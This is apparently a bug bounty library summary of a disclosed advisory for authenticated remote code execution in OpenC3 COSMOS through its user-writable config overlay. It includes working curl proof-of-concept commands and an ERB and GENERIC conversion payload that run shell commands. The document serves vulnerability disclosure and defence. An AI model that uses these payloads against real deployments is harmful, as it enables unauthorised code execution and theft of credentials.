# OpenC3 COSMOS: Authenticated remote code execution via the user-writable config overlay (table definitions, cmd/tlm definitions, and script suites)

Authenticated non-admin users can write files into COSMOS's targets_modified overlay, which ConfigParser ERB-renders and GenericConversion evals, yielding RCE in cmd-tlm-api and decom containers.

- Payout: Research
- Severity: critical
- Program: OpenC3 COSMOS
- Found by: Marnick39
- Disclosed: 2026-09-23
- CVE: CVE-2026-77602
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-jjq7-m736-w977
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-jjq7-m736-w977
- Tags: area:web domain:oss domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:python tech:ruby technique:chained technique:source-review vuln:access-control vuln:misconfiguration vuln:rce

**Target:** Ruby/Python config subsystem (ConfigParser, GenericConversion, Script Runner suite analysis) in cmd-tlm-api and decom microservices
**Root cause:** TargetFile.body reads the user-writable targets_modified/ overlay before the read-only targets/ tree, and the config subsystem executes those files: ConfigParser ERB-renders every file by default, GenericConversion evals GENERIC_*_CONVERSION blocks, and suite analysis `require`s procedure files.
**Steps:**
1. Authenticate to the API and obtain a token: `curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}'`
2. Write payload into overlay via screen save: `curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'`
3. Trigger ERB render: `curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'`
4. Observe marker in cmd-tlm-api container: `cat /tmp/erb_rce_poc` shows `uid=1001(openc3)`
5. Alternative GENERIC sink: submit table definition with `GENERIC_WRITE_CONVERSION_START` block containing `` `id > /tmp/erb_rce_poc` `` to `tables/generate`
6. Persistent cmd/tlm variant: upload telemetry definition with ERB/GENERIC block to `targets_modified/<TARGET>/cmd_tlm/<file>.txt` via storage-upload presigned request, executes on decom microservice restart
7. Suite variant: write suite-shaped `.rb` to `targets_modified/<TARGET>/procedures/` and call `scripts#body` at script_view tier
**How found:** Code reading of TargetFile.body revealed overlay precedence over the read-only tree; tracing the config subsystem showed ConfigParser defaults run_erb=true and GenericConversion evals GENERIC blocks; auditing the storage-upload and screen-save endpoints showed targets_modified/ is exempt from the admin gate, closing the write-to-execute chain.
**Exploitation:** Any authenticated user (open-source edition ignores permission strings) writes a file into targets_modified/ via screen save or storage upload, then triggers parsing through tables/generate, tables/report, tables/load, or a decom microservice restart; the ERB or GENERIC block executes as the openc3 user, granting access to Redis and bucket credentials and the internal service network.
**Escalation:** Same root cause reachable through three independent features (table definitions, cmd/tlm definitions, script suites) at permission tiers below where COSMOS otherwise gates code execution (admin/script_run/plugin-install).
**Insight:** When a config loader supports templating (ERB) or embedded code (GENERIC conversions) by default, check whether any write path into its search directory is gated below the tier that gates code execution elsewhere; overlay/precedence directories are a common blind spot.

## Proof of concept (copied exactly from the original report)

**curl PoC: screen save then tables/generate ERB RCE**

```
BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'
```

**GENERIC_WRITE_CONVERSION table definition payload**

```
TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END
```

